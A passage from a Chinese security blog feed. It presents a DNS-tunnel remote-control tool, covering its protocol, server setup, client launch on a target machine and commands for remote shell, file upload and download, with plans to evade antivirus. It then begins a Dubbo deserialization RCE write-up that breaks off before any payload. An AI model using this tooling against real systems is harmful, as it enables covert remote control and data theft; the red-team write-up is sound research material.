class="code-snippet_outer">    <span class="code-snippet__attr">Questions</span>: <span class="code-snippet__string">1</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Answer</span> <span class="code-snippet__string">RRs: 1</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Authority</span> <span class="code-snippet__string">RRs: 0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Additional</span> <span class="code-snippet__string">RRs: 0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Queries</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span>: <span class="code-snippet__string">type DNSKEY, class IN</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Name</span>: <span class="code-snippet__string">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">[Name</span> <span class="code-snippet__string">Length: 49]</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">[Label</span> <span class="code-snippet__string">Count: 4]</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Type</span>: <span class="code-snippet__string">DNSKEY (DNS Public Key) (48)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Class</span>: <span class="code-snippet__string">IN (0x0001)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">Answers</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span>: <span class="code-snippet__string">type DNSKEY, class IN</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Name</span>: <span class="code-snippet__string">jXD/Bv8AAAAMSEFMTxxKAABf8s5i.1.xxx.website</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Type</span>: <span class="code-snippet__string">DNSKEY (DNS Public Key) (48)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Class</span>: <span class="code-snippet__string">IN (0x0001)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Time</span> <span class="code-snippet__string">to live: 5 (5 seconds)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Data</span> <span class="code-snippet__string">length: 68</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Flags</span>: <span class="code-snippet__string">0x0100</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Protocol</span>: <span class="code-snippet__string">3</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Algorithm</span>: <span class="code-snippet__string">RSA/SHA1 + NSEC3/SHA1 (7)</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">[Key</span> <span class="code-snippet__string">id: 942]</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">Public</span> <span class="code-snippet__string">Key: 46384f4b017aea00000000007778722d78722d78203120726f6f7420726f6f7420202031…</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">[Request</span> <span class="code-snippet__string">In: 99]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">[Time</span>: <span class="code-snippet__string">0.054413000 seconds]</span></span></code></pre></section><h3><br/></h3><h3><strong>可靠传输</strong></h3><p>传统的DNS服务监听的是UDP端口，那么剩下的工作就是如何在DNS协议之上实现一个类似TCP的可靠传输协议，涉及到分包组包、重传等细节。包头设计：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">FragmentCtrl</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> end:<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> seqId:<span class="code-snippet__number">15</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> clientID;</span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">15 bit作为循环序号，1 bit作为是否最后一个分片标识，2 byte作为会话id区分来自不同靶机的会话。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">发送时采用比较简单的停等协议，client在每一个请求中都带有序列号，server在接收之后要回复ack，client只有等到当前包的ack之后才会发送下一个包，如果超时未收到ack则重传，重复此过程直到所有分片都传输完成。</span></p><h3><strong>命令下发</strong></h3><p>传输层可靠实现之后，就要实现应用层的协议了，client定时询问server是否有命令要执行</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer"><span class="code-snippet__meta">client-&gt;</span>server: Hello?</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">server-&gt;</span>client: 没事</span></code><code><span class="code-snippet_outer">(隔1秒)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">client-&gt;</span>server: Hello?</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">server-&gt;</span>client: 没事</span></code><code><span class="code-snippet_outer">(隔1秒)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">client-&gt;</span>server: Hello?</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">server-&gt;</span>client: getuid</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">client-&gt;</span>server: uid=0(root) gid=0(root)</span></code></pre></section><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">更详细的实现可以参考代码和抓包分析。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><h2><strong>项目介绍</strong></h2><p><a href="https://github.com/bigBestWay/dnstunnel" target="_blank">https://github.com/bigBestWay/dnstunnel</a><br/> C语言编写，适用于LINUX系统</p><h3><strong>编译</strong></h3><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">./build.sh</span></code></pre></section><pre data-info="" data-role="codeBlock"><strong style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">域名配置</strong><br/></pre><p>使用者需要在域名服务做如下配置(以gandi.net为例):<br/>添加一条A记录:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ns1</span> 10800 <span class="code-snippet__selector-tag">IN</span> <span class="code-snippet__selector-tag">A</span> 55<span class="code-snippet__selector-class">.55</span><span class="code-snippet__selector-class">.55</span><span class="code-snippet__selector-class">.55</span></span></code></pre></section><pre data-info="" data-role="codeBlock"><code>再添加一条NS记录:<br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">1 1800 <span class="code-snippet__selector-tag">IN</span> <span class="code-snippet__selector-tag">NS</span> <span class="code-snippet__selector-tag">ns1</span><span class="code-snippet__selector-class">.test</span><span class="code-snippet__selector-class">.website</span>.</span></code></pre></section><pre data-info="" data-role="codeBlock"><strong style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">使用说明</strong><br/></pre><p>按照以上添加后, 在55.55.55.55上启动NDNS_server</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">./NDNS_server</span></code></pre></section><pre data-info="" data-role="codeBlock"><code>在靶机上带参数启动NDNS_client<br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">./NDNS_client .1.test.website</span></code></pre></section><pre data-info="" data-role="codeBlock"><code><strong style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">用户界面</strong><br/></code></pre><p>支持如下命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">session <span class="code-snippet__tag">&lt;<span class="code-snippet__name">list|clientid</span>&gt;</span></span></code><code><span class="code-snippet_outer">getuid</span></code><code><span class="code-snippet_outer">upload <span class="code-snippet__tag">&lt;<span class="code-snippet__name">local</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">remote</span>&gt;</span></span></code><code><span class="code-snippet_outer">download <span class="code-snippet__tag">&lt;<span class="code-snippet__name">remote</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">local</span>&gt;</span></span></code><code><span class="code-snippet_outer">bash <span class="code-snippet__tag">&lt;<span class="code-snippet__name">shell</span> <span class="code-snippet__attr">cmd</span>&gt;</span></span></code><code><span class="code-snippet_outer">move <span class="code-snippet__tag">&lt;<span class="code-snippet__name">src</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dst</span>&gt;</span></span></code><code><span class="code-snippet_outer">mkdir <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dir</span>&gt;</span></span></code><code><span class="code-snippet_outer">rmdir <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dir</span>&gt;</span></span></code><code><span class="code-snippet_outer">rename <span class="code-snippet__tag">&lt;<span class="code-snippet__name">old</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">new</span>&gt;</span></span></code><code><span class="code-snippet_outer">list</span></code><code><span class="code-snippet_outer">rm <span class="code-snippet__tag">&lt;<span class="code-snippet__name">file</span>&gt;</span></span></code><code><span class="code-snippet_outer">cd <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dir</span>&gt;</span></span></code><code><span class="code-snippet_outer">pwd</span></code><code><span class="code-snippet_outer">hostip</span></code><code><span class="code-snippet_outer">Session[29727]&gt;&gt;</span></code></pre></section><pre data-info="" data-role="codeBlock"><strong style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">session</strong><br/></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">session <span class="code-snippet__built_in">list</span></span></code></pre></section><pre data-info="" data-role="codeBlock"><code>列出当前所有会话<br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">session</span> clientid</span></code></pre></section><pre data-info="" data-role="codeBlock"><code>切换到对应会话<br/></code></pre><h4><strong>getuid</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">getuid</span></code></pre></section><pre data-info="" data-role="codeBlock"><code>获取当前远程会话的用户ID<br/></code></pre><h4><strong>upload</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">upload</span> aaa bbb</span></code></pre></section><pre data-info="" data-role="codeBlock"><code><br/></code></pre><p>将本地文件aaa上传到远程会话机器bbb，限制文件aaa压缩后要小于430字节</p><h4><strong>download</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">download</span> aaa bbb</span></code></pre></section><p><code><br/></code></p><p><code>将远程文件aaa下载到本地为bbb，下载速率大概20-30字节/秒，所以千万不要下载大文件，否则耗时超级长</code></p><h4><strong>bash</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">bash <span class="code-snippet__built_in">which</span> python</span></code></pre></section><pre data-info="" data-role="codeBlock"><code>可执行任意shell命令，注意不要执行需要交互的命令<br/></code></pre><h4><strong>move</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">move <span class="code-snippet__tag">&lt;<span class="code-snippet__name">src</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dst</span>&gt;</span></span></code></pre></section><pre data-info="" data-role="codeBlock"><code>和mv功能一致，暂未实现，可能用处很少<br/></code></pre><h4><strong>mkdir</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mkdir</span> aaa</span></code></pre></section><pre data-info="" data-role="codeBlock"><code>在远端创建文件夹aaa<br/></code></pre><h4><strong>rmdir</strong></h4><p>删除远端文件夹</p><h4><strong>rename</strong></h4><p>重命令文件</p><h4><strong>list</strong></h4><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">list</span></span></code></pre></section><pre data-info="" data-role="codeBlock"><code>在远端程序当前目录执行ls -lrt并返回结果<br/></code></pre><h4><strong>rm</strong></h4><p>删除远端文件</p><h4><strong>cd</strong></h4><p>切换远端程序当前目录</p><h4><strong>pwd</strong></h4><p>获取远端程序当前目录</p><h4><strong>hostip</strong></h4><p>获取远端机器的出口ip和主机名</p><h2><strong>TODO</strong></h2><p>Beta版本还未经过很多测试，很多地方都可以改进，比如client daemonlize、无限fork躲避查杀、流量加密、停等协议改成滑动窗口等。</p><p><br/></p>



<p><a href="2247483988">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb915891&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483988%26idx%3D1%26sn%3D7b0ba64f2ea6a770d50d3ab64aa4d5da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 Jan 2021 11:34:00 +0800</pubDate>
    </item>
    <item>
      <title>Dubbo多个远程代码执行漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483983&amp;idx=1&amp;sn=a6e66f14121481e183f07f281e219de2</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>rebeyond</span> <span>2020-12-24 17:17</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=251b9373&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcakib5BNMJHl0144IqXQCM01KkGMPwNAZmO1vxpuBco3BYOwGLMdE27aw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><span style="font-family:宋体;">马上年底了，发现年初定的几个漏洞的</span>KPI<span style="font-family:宋体;">还没来得及完成，趁着最近有空赶紧突击一波，之前业务部门被爆过</span>Dubbo<span style="font-family:宋体;">的漏洞，干脆就把</span>Dubbo<span style="font-family:宋体;">拖过来挖一把。之前没用过</span>Dubbo<span style="font-family:宋体;">，既然要挖它就先大体了解了一下，毕竟</span>know it and then hack it<span style="font-family:宋体;">。</span>Dubbo<span style="font-family:宋体;">是个基于</span>Java<span style="font-family:宋体;">的</span>RPC<span style="font-family:宋体;">框架，可以实现</span>Java<span style="font-family:宋体;">过程的远程调用。</span><span style="font-family: 宋体;">话不多说，先本地搞个</span>Demo<span style="font-family: 宋体;">跑起来看看，</span>Dubbo<span style="font-family: 宋体;">版本就采用最新的</span>2.7.8</p><p><br/></p><h3><strong><span style="font-family:宋体;">一、</span></strong><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: 宋体;">本地</span>Demo</strong></span></h3><p><span style="font-family:宋体;">先从</span>Git<span style="font-family:宋体;">地址</span></p><p><a href="https://github.com/apache/dubbo-samples" target="_blank">https://github.com/apache/dubbo-samples</a><span style="font-family:宋体;">上下载示例项目，里面有几十个示例，我们随意选取一个</span>dubbo-samples-http<span style="font-family:宋体;">，后续以该示例为基础进行</span>Demo<span style="font-family:宋体;">开发与漏洞调试。</span><span style="font-family:宋体;">此处示例项目的导入、基本配置、启动、运行步骤不再赘述。</span></p><p><span style="font-family:宋体;"><br/></span></p><h4><strong><span style="font-family:宋体;">1、创建</span>Provider</strong></h4><p>Provider<span style="font-family:宋体;">可以理解为服务端，我们创建如下</span>Provider<span style="font-family:宋体;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> DemoService {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> sayHello(<span class="code-snippet__built_in">String</span> name);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> DemoServiceImpl <span class="code-snippet__keyword">implements</span> DemoService {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> sayHello(<span class="code-snippet__built_in">String</span> name) {</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;[&#34;</span> + newSimpleDateFormat(<span class="code-snippet__string">&#34;HH:mm:ss&#34;</span>).format(newDate()) + <span class="code-snippet__string">&#34;] Hello &#34;</span> + name + <span class="code-snippet__string">&#34;, request from consumer: &#34;</span> + RpcContext.getContext().getRemoteAddress());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span><span class="code-snippet__string">&#34;Hello &#34;</span> + name + <span class="code-snippet__string">&#34;, response from provider: &#34;</span> + RpcContext.getContext().getLocalAddress();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p><span style="font-family:宋体;">该</span>Provider<span style="font-family:宋体;">只提供了一个</span>sayHello<span style="font-family:宋体;">方法，该方法接受一个</span>string<span style="font-family:宋体;">类型参数，启动</span>Provider<span style="font-family:宋体;">，如下图：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="200" data-backw="578" data-ratio="0.34609375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0870a029&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaRDZHMZQtBJOehtlTkqg2UgOAAoZe5824VEbPGj3FmoksrHeJzFvQ0w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;"></span></p><p><em><br/></em></p><p><strong style="font-size: 16px;"><span style="font-family:宋体;">2、创建</span>Consumer</strong><br/></p><p>Consumer<span style="font-family:宋体;">可以理解为客户端，我们创建如下</span>Consumer<span style="font-family:宋体;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">HttpConsumer</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>) throwsException</span> {</span></code><code><span class="code-snippet_outer">       ClassPathXmlApplicationContext context = newClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;spring/http-consumer.xml&#34;</span>);</span></code><code><span class="code-snippet_outer">        context.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        DemoServicedemoService = (DemoService) context.getBean(<span class="code-snippet__string">&#34;demoService&#34;</span>);</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(demoService.sayHello(<span class="code-snippet__string">&#34;rebeyond&#34;</span>));</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="font-family:宋体;">运行</span>Consumer<span style="font-family:宋体;">，如下图：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="205" data-backw="578" data-ratio="0.3546875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b92f9cbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaAwYw3BNx0xYsRJqVpw8j9Xwvr70Td2PFyYWvfY3HxiaAVr1sKyB7cicA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>Provider<span style="font-family:宋体;">的输出：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="208" data-backw="578" data-ratio="0.359375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a0899ea2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcahMG8c5hicRkeDCzibbMhY0Nkloha2WardItCgu71svoZamiaGlQmJO2Sw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p style=""><span style="font-family:宋体;">可以看到Consumer成功调用了Provider端提供的sayhello方法，Demo运行成功。</span></p><p style=""><span style="font-family:宋体;"><br/></span></p><h3><span style="font-size: 18px;"><strong><span style="font-size: 18px;font-family: 宋体;">二、历史漏洞</span></strong></span></h3><p>Demo<span style="font-family:宋体;">搭建好以后我们对</span>dubbo<span style="font-family:宋体;">的大体工作流程就有了一个比较完整的轮廓了，接下来就是思考攻击面，简单头脑风暴了一下想到了几个关键词：</span>RPC<span style="font-family:宋体;">、反射、反序列化、远程代码执行、攻击客户端、攻击服务端。以史为镜<em>，</em>可以知兴替，头脑风暴之后，我们简单看下</span>Dubbo<span style="font-family:宋体;">之前爆过的几个高危漏洞。</span></p><p><span style="font-family:宋体;"><br/></span></p><h4><strong>1、CVE-2019-17564</strong></h4><p><span style="font-family:宋体;">先来看一下漏洞描述：</span>“Apache Dubbo<span style="font-family:宋体;">支持多种协议，官方默认为</span> Dubbo <span style="font-family:宋体;">协议。当用户选择</span>http<span style="font-family:宋体;">协议进行通信时，</span>Apache Dubbo <span style="font-family:宋体;">将接受来自消费者远程调用的</span>POST<span style="font-family:宋体;">请求并执行一个反序列化的操作。</span><span style="font-family:宋体;">由于此步骤没有任何安全校验，因此可以造成反序列化执行任意代码。</span>”</p><p><span style="font-family:宋体;">通过描述可以看出，这是一个简单粗暴的反序列化漏洞，当客户端和服务端的通信采用</span>http<span style="font-family:宋体;">协议时，服务端直接对</span>POST<span style="font-family:宋体;">过来的二进制数据流进行</span>Java<span style="font-family:宋体;">原生反序列化，因此可以根据项目依赖的一些第三方库来构造</span>Gadgets<span style="font-family:宋体;">实现</span>RCE<span style="font-family:宋体;">。</span></p><p><span style="font-family:宋体;">这个漏洞的修复方案也是比较简单直接，直接把</span>POST<span style="font-family:宋体;">请求体的</span>handler<span style="font-family:宋体;">由</span>“Java<span style="font-family:宋体;">原生反序列化</span>”<span style="font-family:宋体;">改为</span>“JsonRpcServer”<span style="font-family:宋体;">。</span></p><p><span style="font-family:宋体;"><br/></span></p><p><strong style="font-size: 16px;">2、CVE-2020-1948</strong><br/></p><p><span style="font-family:宋体;">漏洞描述：</span>“Dubbo 2.7.6<span style="font-family:宋体;">或更低版本采用的默认反序列化方式存在代码执行漏洞，当</span> Dubbo <span style="font-family:宋体;">服务端暴露时</span>(<span style="font-family:宋体;">默认端口：</span>20880)<span style="font-family:宋体;">，攻击者可以发送未经验证的服务名或方法名的</span>RPC<span style="font-family:宋体;">请求，同时配合附加恶意的参数负载。当恶意参数被反序列化时，它将执行恶意代码。经验证该反序列化漏洞需要服务端存在可以被利用的第三方库，而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链，攻击者可以利用它们直接对</span> Dubbo <span style="font-family:宋体;">服务端进行恶意代码执行，影响广泛。</span>”</p><p><span style="font-family:宋体;">可以看到，这也是一个反序列化漏洞。这个漏洞的修复方案主要是增加了一个</span>getInvocationWithoutData<span style="font-family:宋体;">方法，对恶意的</span>inv<span style="font-family:宋体;">对象进行了一个置空操作：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="68" data-backw="578" data-ratio="0.1171875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=875f6ab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaZJFrj00Wiau3K8YPRN4VA8jOel1tr433JuicOKiar0ictMMKB6a00W6NWg%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-family:宋体;"></span></p><p><em><br/></em></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="191" data-backw="578" data-ratio="0.33046875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2f9a7a8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaTpHoqKE5PQNJoxBONmy53MibEyOTTO3TanpJ3BxPtVThF83o6wFdDzw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">了解完上面这两个已知漏洞，接下来我们就开始挖新洞了：）</span></p><p><span style="font-family:宋体;"><br/></span></p><h3><span style="font-size: 18px;"><strong>三、Dubbo Redis</strong><strong>协议远程代码执行漏洞</strong></span></h3><p><span style="font-family:宋体;">上文提到，</span>Apache Dubbo<span style="font-family:宋体;">支持多种协议，列表如下：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="712" data-backw="578" data-ratio="1.23203125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5588662d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaW8W92Xib9YGaOEZUENcxicrpmNgdibTysCRibZhJcewGC9ibqjHSSwib1PHA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span 